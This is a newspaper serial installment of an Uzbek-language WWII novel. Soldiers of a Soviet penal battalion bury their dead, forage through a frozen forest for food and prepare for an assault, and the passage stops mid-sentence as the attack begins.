Газета сериали

Специально для наших постоянных и преданных читателей, мы создали рубрику, в которой вы найдете эксклюзивные публикации известнейших авторов Узбекистана и Центральной Азии.

    Ўтган сондан эслатма Шамсиддин тоғанинг сигири сут бермай қўйди. Аниқласа, уни далада бир бола эмиб қўяётган экан. Тоғанинг унга раҳми келиб, қарамоғига олди, нон берди. Бир аёл 12 ёшли қизини олиб келди, аҳволи танг эди. Тоға қизчани қарамоғига олди, аммо пишиқчиликка етганда қайтариб онасига берди. Урушда эса немислар чекина бошлаган, аммо талафот кўп.

    Order online Purchase Purchase Order Order Buy Окоплар мурдалар билан тўла эди. Баъзи жойларда қадам босиб бўл¬майди. Нуриддин билан Вадим Евдоким Скородубовни қорнидан яраланган ҳо묬да ўликлар остидан тортиб олдилар. Кўтариб блиндажга олиб киришди. Бу ер¬¬да яна ўнтача ярадор бўлиб, Сергей Кварцов ҳам шу ерда эди. Бу пайтда Суб¬ботин штаб билан боғланиб тезроқ машина жў-натишларини талаб қилаётганди. Кечга яқин ўн тўрт арава ва иккита машина келди. Унгача ярадорларнинг кўплари жон берди. Йигитлар Кварцов ва Скородубовни машинага жойлаштирдилар. Совқотиб қолишмасин деб устларига иккитадан шинель ташладилар. - Тузалиб кетсам, оқ¬лашса ҳам сизларнинг ён¬ларингга қайтаман,- деди Кварцов. -Биз сен билан Берлингача борамиз, - унинг қўлини қисди Вадим, - майли ҳозирча. Машиналар жўнаб кетди. Гречковнинг буйруғи билан бир ерга йиғилдилар. Алексеев, Дубов, Фадеев, Громов, Петрушин, Нуриддин, Азлар ва яна тўрт жангчи. Охирида Кружилин келди. - Сен қаерда эдинг? - сўради Вадим,- туришинг¬дан жанг қилганга ўхшамайсан. - Туҳмат қилма. Мен сенга ҳисоб бермайман. - Жанжал қилманглар,- уларни босди Гречков,- ҳо¬зир ҳамма рота блиндажини тартибга келтиради. Бу тун ҳамма шу ерда тунайди. Эрталаб ўликларни кў¬мишимиз керак. Ярим соатда у ёқ-бу ёқни тартибга келтирган бўл¬дилар-у, қуюқ қилиб солинган похолга чўзилдилар. - Шу қирғиндан омон чиқдик, энди ўлмаймиз, йигитлар, - деди Громов шерикларига. - Биз, ахир, кўйлакда туғилганмиз, - писанда қилди Петрушин,- эҳ, қа¬нийди, шу охирги жанг бўлганда. - Омон бўлсак, охиргисини ҳам кўрамиз, - гап қўш¬ди Азлар. - Нима бўлса ҳам бу немиснинг охирги ҳужуми бўл¬ди, энди биз ҳужумга ўта¬миз. Бу ёғига қувишни бошлаймиз, мана кўрасизлар. Немис Москвага киролмай бир дами кесилди, Сталинградда ҳам аҳволи оғир дейишяпти. Айтишларича, бутун бир армияси қуршовда қолганмиш,- де¬ди Громов. - Ҳозир унинг кучи бўлиниб қолди. Бу ёқ¬қа заҳирадаги кучларини ташлай олмаяпти. Мен сизларга аниқ ишонч билан айтишим мумкинки, ўн-ўн беш кун ичида жуда кучли ҳужум уюштирамиз. Гап-сўзларни тинглаб, ётиб Нуриддин қачон ухлаб қолганини билмай қолди. У шундай ҳолдан тойгандики, устига ўзлари окопдан келтирган шинеллардан бирини тортишга ҳам ҳафсала қилмади. Азлар унинг устига битта ортиқча шинелни ёпди-да, пичирлади: «Қардошим, бошинг омон бўл¬син. Сенинг дуоларинг сабаб худо бизни бало-қазолардан сақласин» * * * Эртасига бутун батальон ўликларни кўмиш ва окопларни тартибга келтириш билан машғул бўлди. Ўзимизнинг аскарларнинг жасадларини ажратиб ало¬ҳида бир ерга жамладилар. Комбатнинг буйруғи билан ҳар бир майитга алоҳида-алоҳида қабр кавлашди. Бу анча вақт оларди. - Ҳар бирининг исм-фамилиясини бир бўлак ёғочга ўйиб ёзиб қўйинглар, - буюрди у, - эҳтимол, бир кун келиб буларнинг фарзандлари ёки набиралари излаб келишар. Ҳа¬лок бўлган санаси ҳам аниқ кўрсатилсин. Уч кун давомида қаттиқ меҳнат қилдилар. Кун со¬вуқ, ерга тупурсанг, тупугинг муз бўлиб тушади. Қор¬ни очиб, тараша ерларни кавлаб, қабр қаздилар. Дарахтзордан танлаб ёғоч кесиб келиб пи¬чоқ билан ўйиб ёзиб қабрларга ўр¬натдилар. Бомба, снарядлардан ҳо¬сил бўлган чуқурлар ҳисобсиз бўлса ҳам бундай жойларга ўз ўртоқларини шундоқ кўмиб ташлашни ҳеч ким истамасди. Иш битгандан кейин дивизия штабидан келган ёш¬гина капитан батальонни тўплаб суҳбат ўтказди. У Москва остонасида душманнинг қиличи сингани, Самар¬қанд¬да йиғилиб Оренбургда тайёргарликдан ўтган, асосан, ўрта осиё¬ликлардан иборат бўл¬ган жасур панфиловчиларнинг жасорати ҳақида билганларини гапириб берди. - Уларнинг ҳаммаси ҳа¬лок бўлдилар, аммо ватанимиз юраги бўлган Москвани сақ¬лаб қолдилар. Душман шаҳарга ёриб ўтолмади. Совет халқини енголмаслигини унга англатиб қўй¬дилар. - Капитан, - деди Фадеев қитмирлиги тутиб,- бизга улардан бирортасининг фамилиясини айтиб, бу шундай-шундай жасорат кўрсатди, бундай-бундай ишлар қилди деб айтиб берсанг, қизиқроқ бў¬лар¬ди. - Менда уларнинг фамилияси йўқ. Улар панфиловчи - тамом. Шунинг ўзи қаҳрамонлик рамзи. - А-а, фамилия фақат Панфиловда бўлганми?- анқовсираб сўради Алексеев. - Бас қилинг, бунақа гапларни! Ким билан гаплашаётганингизни ёдингизда ту¬тинг. Мен сиёсий бўлим номидан келганман,- деди капитан зарда билан. - Диққат билан қулоқ солинг, - уқтирди Субботин хўмрайиб,- капитан сизлар ҳақингизда ижобий фикрда. Мен штабга ҳар бирингиз ҳа¬қингизда талабнома ташлаб келдим. Яқинда шахсий ҳужжатларингиз гражданин капитан бошчилигида бошқатдан ўрганиб чиқилади. Кечаги жангдан ке¬йин мукофот тариқасида кўпларингизнинг ҳуқуқларингиз тикланади. Шундан кейин жангчилар капитаннинг гапини бўл¬май тингладилар. Ярим соат маъруза қилгач, капитан Субботинга ўгирилди. - Комбат, қўл остингиздагиларнинг кимлиги бизга маълум. Биз сизнинг талабномангизни ўрганиб чиқишни бошлаганмиз. Яна бир неча кундан кейин душманга ҳужум уюштирамиз. Олдинги линияда сиз¬лар бўласизлар. Ана шу жанг натижасига кўра, хулоса чиқарамиз. - Ҳамма гапингиз тушунарли, биз ўз номимизни оқлаб оламиз. - Фақат қонингиз билан оқлайсиз, - деди капитан. Капитан гапини тугатгандан кейин Субботинни ўзи билан юришга имлаб машинаси томон юрди. У ер¬да иккови анча гаплашиб турдилар. Капитан кетиб комбат қайтгандан сўнг Канаев унга рўпара бўлди. Комбатнинг чеҳраси тундроқ эди. - Нима бўлди, Алексей Иванович? - Ҳозирча фақат ҳалок бўлганлар иши кўрилади деяпти. - Майли, шунисига ҳам шукур, ҳеч бўлмаса, оилаларининг ҳуқуқлари тикланади-ку. - Мен ҳам шунисига шукур дедим. Иккови гаплашиб блиндаж томон юрдилар. - Василий, сизлар янги тўлдирилувчиларни қабул қилиб олишга тайёрланиб туринглар. Эрталаб мен штабга бориб, янгиларни олиб келаман. Бугунча ҳаммага дам. - Таъминот ҳам сўрайсанми? - Албатта. Ҳеч бўлмаса, қуруқ нон беришсин. Комбат ўз ертўласига, Канаев эса аскарларининг олдига кетди. Бу кун ҳамма ўзини тартибга келтириш, қурол-яроғини созлаш билан маш¬ғул бўлишларини айтишди. Петрушин аскарлари ҳам ўз жойларида, ҳам¬ма ўз иши билан куймаланиб қолди. Нуриддин блиндаж бурчагидаги похол устида ўтириб пичирлаб оят ўқишни бошлади. Унинг ёнига Азлар ўтирди. Жимгина ўртоғининг қироатига қулоқ солиб ётиб олди. Уларнинг қизиқ бир нарсани ҳикоя қилишяпти деб ўй¬лади, шекилли, Алексеев ёнларига келиб қулоқ сол¬ди. Нуриддин тугатиб, иккови фотиҳа қилганларидан кейин сўради: - Бу қўшиқми? - Йўқ, бу Қуръон - муқаддас китобимиз, - деди Азлар. - Қандайдир ёқимли, сирли экан, илоҳий оҳанги бор экан. - Бу яратганнинг каломи. - Илоҳий китобларда одамни ўзига тортадиган қанақадир сир бўлади, тушунолмайман. Агар уруш тугаса, ўрганишга уриниб кўраман. - Ўргансанг, ҳақиқатни англайсан, - деди Азлар. Алексеев ўйланиб қолди. Ҳозиргина эшитганлари бу ёш йигитнинг кўнглига ёқиб тушганди. * * * Комбат штабдан қуруқ қўл билан қайтиб келди, таъ¬минот берилмабди. Икки юз чоғли одам олиб келди-ю, таъминот йўқ. Дивизияда ҳам аҳвол оғир экан. «Яна озгина кутинглар, эрта-индин озиқ-ов¬қат келиб қолади», дейишибди. Бу ёқда эса аскарлар оч. Ҳар ким топганини, кавшаб тирикчилик қиляпти. Нима қилиш керак? Яқин ўртада бирорта қиш¬лоқ ҳам йўқ. Шу зайлда қоладиган бўлса, аскарлар очликдан қирила бошлайди. Шу қаҳратонда оч қолиш катта йўқотишга олиб келиши тайин. У нима қилишни билмай, рота командирларини ёнига чақирди. Уларга вазиятни тушунтирди. - Балки қўшни қисм¬лар¬дан сўрармиз? - сўради Канаев. - Уларниг ҳам аҳволи биздай абгор, ёрдам беришолмайди, - таъкидлади Субботин. - Менда бир фикр бор,- гапга қўшилди Гречков,- биз билан немислар маррасининг оралиғида картошка экилган дала бор, мен буни жанг пайтида бил¬ганман, балки шу ердан картошка топармиз. - Шу қаҳратонда, бир- бир ярим метр қор остидан қандай топамиз,- эътироз қилди Корзун. - Мина, снарядлар ўйган чуқурларнинг ёнини титиб кўрамиз. - Бу билан батальонни тўйдириб бўлмайди, топсак, бир қоп картошка топармиз. Бошқа йўлини қи¬лиш керак, - столни чертиб ўйланди Субботин. - Сенга даладан картошка излашни тақиқлай олмайман, лекин аскарлар эҳтиёт бў¬лишсин, душман яқин. Бош¬қаларни нима билан тўй¬дираман, шунга ҳайронман. Янги келганларнинг ичида неча кунлардан буён туз тотмаганлари қанча. - Бу сафаргилар уруш кўрганлар экан, қурол тутишни ўргатмаймиз, - мавзуни бошқа томонга бурди Корзун. - Барчаси уруш кўрганлар, бу сафар қамоқдан келганлар йўқ, - ўртоғининг сў¬зини маъқуллади Канаев. - Хўш, таъминотни нима қиламиз? - Бу масалани ҳозирча очиқ қолдирамиз, - комбатнинг ўрнига жавоб берди Канаев. Субботин ҳам елка қисиб қўлларини ёзди. * * * Сергей Алексеев ҳамма нарсага чидаши мумкин, аммо очликка тоқат қилолмасди. У бир неча кун оч қол¬гандан кейин қандай қилиб бўлмасин бир йўлини топишни ўйлай бошлади. Взводдаги бирорта одамда урвоқ қолмаганини у биларди. Рост, кеча Гречковнинг топшириғи билан далага картошка излагани борганлар бир челак совуқ урган картошка топиб келдилар. Уни қайнатиб, пў¬чоғи билан едилар. Қоринга юқ ҳам бўлмади. Бугун эрталаб Нуриддин унга битта оқ қанд берди. - Буни сен е, менинг тишимни оғритади, - деди. Шундан кейин Сергей окопда турволиб роса атрофни кузатди. Шу яқин атрофда одамлар яшаган-ку, қаердадир қишлоқ бўлиши керак. Эҳтимол, ҳув анови кўриниб турган ўр¬мон ортидадир. Балки шу ўр¬монга етиб олса, биронта қушми, ҳайвонми отиш мум¬киндир. Лекин ўрмон ичкарисида немислар бўл¬са-чи, уларга ўрмон яқин. У ўйлаб-ўйлаб таваккал қи¬лиш керак деган қарорга келди. Дастлаб фикрини Дубовга айтди. У эса дарров эътироз қилди. - Жиннимисан? У ерда немислар тўлиб ётибди-ку. Боришинг билан кабоб қи¬либ еб қўйишади. Шунча узоқ жойга боришни ҳам айт. Яна бизни қочқин деб... - Э, калла, - деди Алексеев, - узоқ эмас, бундан таш¬қари, немиснинг ўрмон билан иши йўқ. Биз билинтирмай боришга ҳаракат қиламиз. - Бўлмайди бу фикринг. - Ҳеч бўлмаса, битта-яримта қуш отармиз. Жа-а бўлмаса, дарёнинг тинчроқ жойига бориб муз ўйиб ба¬лиқ тутамиз. Мен биламан қандай балиқ тутишни. Ни¬ма, бу ерда очингдан ўлмоқчимисан? Унинг гапи Михаилни ўйлантириб қўйди. - Икковимиз борамизми? - пича ўйлаб туриб сў¬ради у. - Беш-олти киши борсак ҳам бўлаверади, фақат анови Гречковни кўндириш керак. - У Петрушиннинг гапига киради. - Мен Петрушинни кўн¬дирсам борасанми? - Уни кўндирсанг, битта менмас, ҳамма боради. Алексеев Петрушинни излаб кетди. Петрушин эса Гречков билан гаплашадиган бўлди. Петрушин Гречков билан узоқ тортишди. Ниҳоят, Гречков Субботиннинг рухсатини олиб беришга ваъда берди. Аммо Игорь ҳам анойи эмас, ҳозир олиб бер рухсатни деб туриб ол¬ди. Ноилож қолган Гречков комбатнинг олдига кириб бориб бор воқеани айтиб берди ва «разведка учун жўнатайлик», деб илтимос қилди. Субботин уни оғзига қаратиб, анча ўйланиб ўтирди-да, сўради: - Сенингча, улар неча кунда келишади? - Ўрмонга эрталаб жў¬нашса, тўрт соатларда етишади, демак, уч ё тўрт кунда келишади. - Уларни жўнатавер, бошқа чорамиз йўқ, фақат «разведка мақсадида», деб уқтир. Гречков комбатнинг олдидан ўқдай учиб чиқди. Кечга яқин Нуриддин, Азлар, Громов, Фадеев, Алексеев, Дубовдан иборат кичкина отряд йўлга тушди. Громов бошлиқ қилиб та¬йинланди. Улар ўзларига етарлича қурол-яроғдан таш-қари, болта, арқон, бир неча қоп ҳам олдилар. Қор қалин, йўл оғир ва йироқ. Туни билан йўл юришга қа¬рор қилдилар. Чунки кечаси бу совуқда немисларнинг эътиборини тортмасликлари эҳтимоли катта эди. Уларнинг бахтига, шу кеча шамол йўқ, катта-катта қор ёғарди. Бу - ҳаво илиқ дегани. Бу ерларда қор ёғиб турса, совуқнинг заҳри кесилиб туради. Аввал бошда гаплашиб кетишаётган бўлишса ҳам, икки соатлар қор кечганларидан кейин бировдан садо чиқмай қўйди. Нуриддин ҳам индамай борар, ўртоқларидан қо¬лишмай деб шунча тиришса ҳам бутун аъ¬зойи баданини қандайдир ҳорғинлик босиб турар, қулоғи баъзан чиппа бекилиб, эсноқ тутар, баъзан кўз олди қоронғилашгандай бўларди. Бу очликнинг белгиси эди. Буни сезиб ўзини иложи борича тетик, бардам тутишга интилиб борарди. Олдинда бораётган Азлар тўсатдан тўхтади. - Бўлди, юролмайман, ўртоқлар, мадорим қолмади. - Яна озгина чида, қардош, - Нуриддин унга таскин берди. - Ҳозир ҳушимдан кетиб қоламан. - Мақсудов, олға, олға, яна ўн беш дақиқадан ке¬йин тўхтаймиз, - уни ундади Громов. Нуриддин камарини ечди-да, бир учини унга тутқазиб, ўзи олдинга ўтди. - Буни ушлаб ол, мен сени тортиб кетаман. Азлар индамай унга бўй¬сунди. Қор баъзи ерларда тизза бўйи, баъзи ерларда белгача чиқиб борар, олдинда кетаётган Фадеев ҳам шунча тиришгани билан баъзан оёғини қордан суғуриб олишга ма¬дори етмай тўхтаб қоларди. Олдинда қорайиб ўр¬моннинг қораси кўриниб қолган бўл¬са ҳам унгача анча заҳмат чекишга тўғри келарди. - Йигитлар, ана ўрмон, қўл узатса етгудай масофада. Яна озгина йўл қолди. Ҳадемай унга етамиз,- ўртоқларини ундади Громов. - Колумб шундай деб ишонтириб, одамларни Америкага олиб борган,- ҳазиллашди Дубов. Аммо унинг ҳазилига жавоб берадиган одам топилмади. Олтовлон сўнгги кучларини тўплаб илгарилаб боришарди. Громов айтган ўн беш минут ўтиб кетганига анча бўлди-ю, бироқ у тўхташни истамасди. - Балки дам олармиз? - сўради Фадеев. - Йўқ, - деди Громов қат¬ъ¬ий, - тўхтасак, туролмай қоламиз, деб қўрқаман. Очлик ва совуқ бизни нобуд қилади. Ўт ёқиб исинадиган жой топгунча юришимиз керак, Вадим. Фадеев индамай яна олға интилди. Тонгга яқин баландроқ кўтарилган ерга етиб келганларида Фадеев тўхтади. Громов у ёқ-бу ёққа аланглади. Нарироқда уч томондан қия кўтарилган ўйиқ жой бор эди, у Фадеевга ўша ерни кўрсатди. - Анови ер шамолдан пана. Ўша ерда тўхтаймиз. Ўйиққа етиб бориши билан Фадеев бор бўйича қорга кириб кетди. - Ҳамма пастга, йигитлар, қорни депсаб жой қи¬ламиз, буюрди Громов ва ўзи биринчи бўлиб Вадимнинг ёнига тушди. Бир амаллаб ўзларига жой ҳо¬зирладилар. Олти паҳлавон қор ўранинг ичида қолдилар. Бу ер изғириндан пана. Ҳар қалай музлаб қолишдан сақлар, эҳтимол. - Озгина дам олайлик, кейин ўтин топамиз,- деди Фадеев. Унинг гапи барчаларига маъқул тушди. Нуриддин ўтириб орқасига суянди. Шунда у ор¬қасида ер борлигини сезди. Бу қияликнинг девори эди. Унинг бир ёнига Азлар, бир ёнига Дубов қисилиб ўтирдилар. Ҳаммалари жипс бўлиб ўтириб нафас ростламоқчи эдилар. Аммо очлик ва мадорсизлик улардан устун келди. Ҳаммасини дарров уйқу элтди қўйди. Аммо бу уйқу эмас, совуқнинг ҳалок қилгувчи жодуси эди. * * * У болалигидан тахмонга суяниб ўтиришни яхши кўрарди. Шу ерда ўтириб китоб ўқир, ёдлаган оятларини такрорлар, баъзида шу ўтиришида ухлаб қолар, онаси келиб бошини силар, уни эркаларди. Гоҳо отаси секин туртиб жойига ўтиб ётишини буюрарди. Ҳозир ҳам тахмонга суяниб, маза қилиб ухлаб ёт¬ганди, тўсатдан устига отаси бор бўйи билан дарғазаб бўлиб бостириб келди-да, қаҳрли овозда бақирди: - Тур ўрнингдан! Тур деяпман!!! Отасини ҳеч қачон бундай аччиқланганини кўрмагани учун Нуриддин сапчиб ўрнидан туриб кетди. Ўрнидан турди-ю, ҳеч нарсани англамай туриб қолди. Атроф қор. Совуқ. Ёнида уч-тўрт одам бир-бирига елка қўйиб ётибди. Шундагина у ўзига келди. Икки қадам юриб бир сиқим қор олди, юзига суркади. Яна қор олиб оғзига солиб чайнади, сўнг калима келтирди. У секин чуқурдан бўйлаб атрофга қаради. Атроф қоронғи бўлса ҳам, беш-олти қа¬дам нарида бир нарсалар қорда югуриб ўйнарди. Диққат билан қараб булар қуён эканини билди. Секин ортига қайтди-да, милтиғини қўлига олди. Затворни тортиб қўйиб, Азларнинг ҳам милтиғини олди, уни ҳам отишга шайлаб қўйиб, овоз чиқармасликка ҳаракат қилиб яна ўранинг четига келди ва ўзига қулай жой танлади. У шарпаларни узоқ мўлжалга олди, ниҳоят, тепкини босди-ю, иккинчи милтиқни ҳам олиб яна тепкини босди. Гумбурлаган овоз ўрмонда акс-садо берди. Ўгирилиб шерикларига қаради: биронтаси қимирлаб ҳам қўймади. Ўрадан чиқиб, ҳалиги қу¬ёнлар ўйнаётган жойга борди. Хайрият, мўлжалдан адашмабди. Иккита қуённи кўтариб қайтди. Уларни шерикларининг ёнига ташлади-да, ўзи яна дарахтлар ичига борди. Излаб-излаб пастроқ ўсган дарахтларнинг қуруқ деб тусмоллаган шохларидан бир қучоқ синдирди. Ўрага тушиб, ўтинни ташлади-да, Азларнинг елкасидан турт¬ди. Унинг елкаларига, ор¬қа¬сига ура бошлади, телпагини бошига ишқаб-иш¬қаб ташлади. Шундагина Азлар кўзини очди. - Тур, Азлар, йигитларни уйғотайлик, бўлмаса, ёмон бўлади. Азлар инқиллаб ўрнидан қўзғалди. Нуриддин эса энди Дубовни «дўп¬послаётганди». Уни кўриб Азлар ҳам гандираклаб келиб Фадеевнинг устига ўзини ташлади. Бир неча дақиқадан кейин ҳамма уйғонди. Лекин ҳамма карахт эди. Нуриддин ўтинни қа¬лаб Громовга қаради. - Гугуртни бер. Громов унга гугуртни узатди-да, соатига қаради. - Наҳотки,- деди у соатини қулоғига тутиб кўраркан кўзларини катта-катта очиб, - ишлаяпти, наҳотки соат олти ярим бўлди? Ўтирганимизда беш ярим эди. Бир ярим соат бўлдими? - Йўқ, - жавоб берди Ну¬риддин, - кечаги беш яримда ўтиргандик, бугунги беш ярим ўтиб кетибди. У майда чўпларни синдириб, қалаб гугурт чақди. Дарров ўт ҳам илаша қол¬ди. Ярим соатдан ке¬йин гуриллаган олов олдида ўтиришар, котелокда сув қайнар, Дубов ва Фадеев нимта-нимта қилиб чўпга илиб гўшт пиширишарди. - Ҳаммасини пиширгунимизча чидайсан, - Сергейга танбеҳ берди Фадеев. - Чидамай кетяпман-да. - Чида, чида, оз қолди. - Ма, қайноқ сув ичиб тур, - Громов унга котелогини узатди. Ниҳоят, ўртага қўйилган каттагина шох устидаги гўштни Фадеев тақсимлади. Ҳаммалари ютоқиб-ютоқиб, чапиллатиб тановул қила бошладилар. - Бугун бизни Нурик ўлимдан қутқарди. Агар у уйғотмаганда, шу ерда мангу ухлардик, - дея миннатдор бўлиб Нуриддинга қа¬ради Фадеев. - Қандай қилиб уйғониб кетдинг, шунисига ҳайронман. - Мени отам уйғотди. - Отам? - сўради Громов. - Ҳа, отам. - Қандай қилиб? - Шундай. Тушимга кирди. Қўрқитди. Мен қўрқиб туриб кетдим. Қарасам ҳаммамиз қотиб қолибмиз. Тепага чиқиб қарасам қуёнлар юрибди. - Бу бизга Парвардигорнинг берган кўмаги, - деди Азлар. Ростмана қорни тўйгандан кейин Громов ўрнидан туриб керишди. Ўртоқларига юзланди. - Тонг отди. Бу ёғига йўлни белгилаймиз-да, олдинга, йигитлар. - Громов тепага чиқиб ўрмонга тикилди. Бу ерларда дарахтлар сийрак, ичкарилаган сари қалинлашиб борарди. У олдинга бошлади, бошқалар унга эргашиб йўл¬¬га тушдилар. Улар шу бўйи қош қорайганда тўхтадилар. Громовнинг фикрича, шу яқин атрофда бирорта қишлоқ бўлиши керак эди. Аммо қишлоқни топиш учун ўрмондан чиқиш керак. Бу эса хатарли. Бу ерлар немисларнинг измида. - Қишлоқ излаб нима қи¬ламиз, - деди Алексеев,- мен ҳисоблаб кўрганман. Биз аллақачон немисларнинг орқасидамиз. Шундоқ чапга бурилсак, уларнинг орқасидан чиқамиз. Ўнг томонда нима бор - билмайман, балки ўрмон тугамас, балки қишлоқлар бордир. - Ҳозир бундай қиламиз,- маслаҳат солди Громов,- тунаш учун жой излаймиз, кечагидай қулай бўлиши керак. Қани, олға. Улар яна бироз юрганларидан кейин тўхтадилар. Қуюқ ўсган дарахтлар ичида ўзларига пана жой топдилар. Билмасдиларки, улардан бор-йўғи икки юз қадамлар нарида немисларнинг таъминот қисми жойлашганди. Алексеев адашмаганди. У ёқ-бу ёқни текшириб келиш учун жўнатилган Вадим ва Азлар тасодифан ўрмон четига келиб қолиб немислар борлигидан бохабар бўлишди. - У ерда катта-катта чодирлар қурилган, тўртта. Ичида печкаси ҳам бор мў¬рисидан тутун чиқиб турибди,- ахборот берди Азлар. - Бу, демак, шу ерда нон пиширишади дегани, - Алексеев билағонлик қилди. - Тўғри, - уни тасдиқлади Громов,- ақлингга балли. - Ҳужум қиламизми?- сўради Вадим. - Асло. Шу ерни яхшилаб ёдингизда тутинглар. Биз бу ерга яна келамиз. Ҳозир эса бу ердан зудлик билан кетамиз. Қани, туринглар, болалар. Энди ўнг томонга таваккал деб йўл соламиз. Улар туни билан йўл юрдилар. Тонг отишига яқин каттагина қишлоқдан чиқиб қолишди. Разведка учун борган Громов ва Дубов икки соатдан кейин, ростмана тонг отганда қайтдилар. - Йигитлар, кетдик. Қишлоқда немислар йўқ. Бир чолнинг айтишича, улар қишлоқни ташлаб кетишибди. Ҳозир ҳеч ким йўқ эмиш. Қишлоқ четидаги катта ҳовлига кириб борганларида ҳовлида қор кураб турган чолга дуч келдилар. - Оҳ, қочоқ болаларим. Сизлар чекиниб юрибсизлар. Мен эса бир ўзим бу ердан немисларни қу¬виб солдим,- ҳазиллашди у. - Тез кунларда уларнинг адабини бериб қўя¬миз, отахон,- деди Вадим гулдираб. Чол уларни уйга олиб кирди... Кампири уларни кўриб йиғлаб юборди. Ҳар бирининг юзларини силаб кўришди. - Менинг Ванкам ҳам қаердадир сизларга ўхшаб юргандир? Омонмикин? - Омон, онахон, омон,- унга таскин берди Громов,- яқинда ялпи ҳужумга ўтамиз, кўрасиз, хабар жўнатади. Кампир айланиб-ўргилиб юриб картошка пиширди. Чол дарров қора нонни печдан олиб кесди. Яхшилаб қоринни тўйдирганларидан кейин Громов Федот бобога келишларининг сабабини айтиб берди. Чол бошини сарак-сарак қилиб кампирига қаради. - Мана, Александра, кўрдингми, шуларнинг ризқи экан сигирлар, энди олиб кетишади,-сўнг Громовга юзланди,- қишлоқда ўзимиз қолганмиз, қўшнининг оғилида тўртта сигир қолиб кетган. Ўт етарли, аммо биз уларни боқишга қарилик қилиб қоляпмиз, кучимиз етмайди. Ўзимизники етади. Ўшалардан иккитасини сўйиб бераман, олиб кетасизлар. Громовнинг маслаҳати билан кечгача дам олиб кечаси йўлга тушадиган бўлдилар. Тушгуча ухлаганларидан кейин Нуриддин ва Азлар иккови туриб чол билан қўшни оғилга ўтдилар. Катта сигирларнинг бирини ташқаридаги бостирмага олиб чиқиб Нуриддин бўғзига пичоқ тортди. Тезда уни саранжомлаб бўлиб иккинчисини олиб чиқдилар. Қоронғи тушган маҳал Федот бобо ва Александра момо билан хайрлашдилар. Федот бобо катта чана берди. Икки қоп картошка ва гўштни ортиб жўнадилар. Уларнинг ортга қайтишлари унча қийин бўлмади. Кечаси билан юриб аввалги тунаган жойларига келиб дам олдилар. Навбатма-навбат чанани икки кишилашиб тортиб борсалар ҳам, олдингидан тезроқ йўл босдилар. Бешинчи кун тонгда маррага етиб келдилар. Уларнинг топиб келган озиғи батальонга урвоқ ҳам бўлмади. Аммо бутун батальоннинг ҳаётини сақлаб қолишга йўл топган эдилар. Бу кейин маълум бўлди. ХХХ Бутун армия шиддатли ҳужумга тайёргарлик кўраётганди. Комбат Субботинни икки кундан кейин дивизия штабига чақирдилар. Бир неча қисм командирлари билан вазиятни муҳокама қилиб бўлган генерал майор Волохов Субботинга ҳужумни унинг батальони бошлаб бериши ва душманнинг олдинги маррасини қандай қилиб бўлмасин қўлга киритиши ҳақида кўрсатма берди. - Ҳужумни индинга эрталаб соат олти-ю ноль-нолда бошлайсан,- деди. Субботининг озиқ-овқат таъминоти ҳақидаги сўрови жавобсиз қолди. Батальоннинг ҳарбий тайёргарлиги тўғрисида гап очганда генерал уни жеркиб берди. - Сенга буйруқ берилди. Муҳокама учун мавзу эмас. Ҳамма жаримачиларинг жанг кўрган аскарлар. Тайёргарлик ҳам жанг майдонида, сенга озиқ ҳам жанг майдонида, ҳаммасини ўша ердан топасан. Мен сенга бирон кун фурсат беролмайман тайёргарликка. Бор, жанг қил! Кейин гаплашамиз. Субботин штабдан асабийлашиб қайтиб келди. У рота командирларини олдига чақириб вазиятни тушунтирди. - Душманга кучимиз етмаслиги аниқ, лекин қандай қилиб бўлмасин биринчи маррасини тортиб олишимиз керак. Батальон душман маррасига етиб бормасидан тўкилиб қолади,- деди у алам билан. - Артиллерия ёрдам берадими?-сўради Корзун. - Ҳа. - Биз артиллерия отишмаси бошланиши биланоқ ҳужумни бошлайлик, шунда илгарироқ сурилиб оламиз,- таклиф қилди Канаев. - Бундай қилсак ҳам бўлади, аммо душман пулемётлари ўйлантиряпти. Орқадан зарба бериш мумкин бўлганда эди. - Бунинг иложи бор,- деди Гречков,- орқадан чалғитувчи зарба беришимиз мумкин. Аммо у ёққа борганларни муқаррар ўт ичига юборамиз. Субботин ҳам, ротниклар ҳам унга қарадилар. Гречков уларга ўзи билганича душманнинг орқа тарафига йўл борлигини тушунтириб берди. Барчаси ўйланиб қолдилар. - Нима қиламиз, Алесей Иванович?- сўради Корзун,- балки таваккал қилармиз. - Шундай қилишга мажбурмиз,- маъқуллади Канаев. - Бу фикрга қўшиламан,- янги рота командири Александр Ивановга ҳам режа маъқул тушди. - У ёққа қанча аскар жўнатамиз?- сўради комбат. - Яхши қуроллантириб, иложи борича кўпроқ портлатувчи мосламалар билан таъминлаб икки взвод жўнатсак бўлар.- таклиф қилди Гречков. - Яхши. Яна бир томони улар биздан ўн минут олдин ҳужум бошлашлари ва биз томон ҳаракат қилишлари керак бўлади,- таъкидлади комбат. Бутун батальондан чанада юра оладиган, бақувват йигитлардан олтмиш нафари уч соат ичида саралаб олинди. Уларнинг ҳар бир автоматлар, олтитадан граната билан таъминланди. Бу отрядни Виталий Громов бошлаб борадиган бўлди. Жўнаб кетиш олдидан Громов ўртоқлари билан хайрлашгани келди. Ҳар бири билан қучоқлашар экан, Нуриддинга келганда "илтимос, сен мени мусулмонча дуо қилгин, яна тирик кўришайлик сен билан" деди-ю, кўз ёшини кўрсатмаслик учун шарт бурилиб кетиб қолди. - У биздан ажралаётганига ўкиняпти,- деди Вадим. - Ундан ажралиш бизга ҳам оғир,- Азлар пичирлади. ХХХ Ҳали тонг отмасдан артиллерия биринчи залп берди. Комбат окоп қирғоғига чиқди-да, бор овози билан қичқирди: - Батальон!!! Олға-а-а!!! Тўрт юздан ортиқ одам унинг ортидан душман сари югурди. Биров орқада қолишни истамас, жон-жаҳди билан олдинга югуриб боришар, артиллерия чалғитиб турганда кўпроқ йўл босиб ўтишни истаган комбат тинмай олға юришга ундаб бақирарди. Худди шу дамда душманнинг орқа тарафида, беш-олти чақирим нарида жуда катта портлаш бўлиб, улкан аланга осмонга ўрлади. Тўсатдан бошланган ҳужум немисларни эсанкиратиб қўйган бўлса ҳам, кўп ўтмай пулемётлар ишга тушди. - Батальо-он! Олға!!! - қичқирарди ҳамон комбат. - Нур, мени йўқотиб қўйма! Овоз бериб тур!- чақирарди ёнма-ён югуриб кетаётган Азлар. Нуриддин милтиғини маҳкам ушлаб олиб олдинга олдинга интилар, қорга йиқилар, турар, қор босган ўйдим-чуқурларга тушиб кетар, лекин қандайдир ҳиссиёт уни олға боришга ундарди. Немисларнинг окопига юз метрлар қолганда пулемёт кўз очирмай қўйди. Ҳамма ерга ётди. - Азлар, қорга чуқурроқ кирвол! - Мен яхшиман, ўзингга 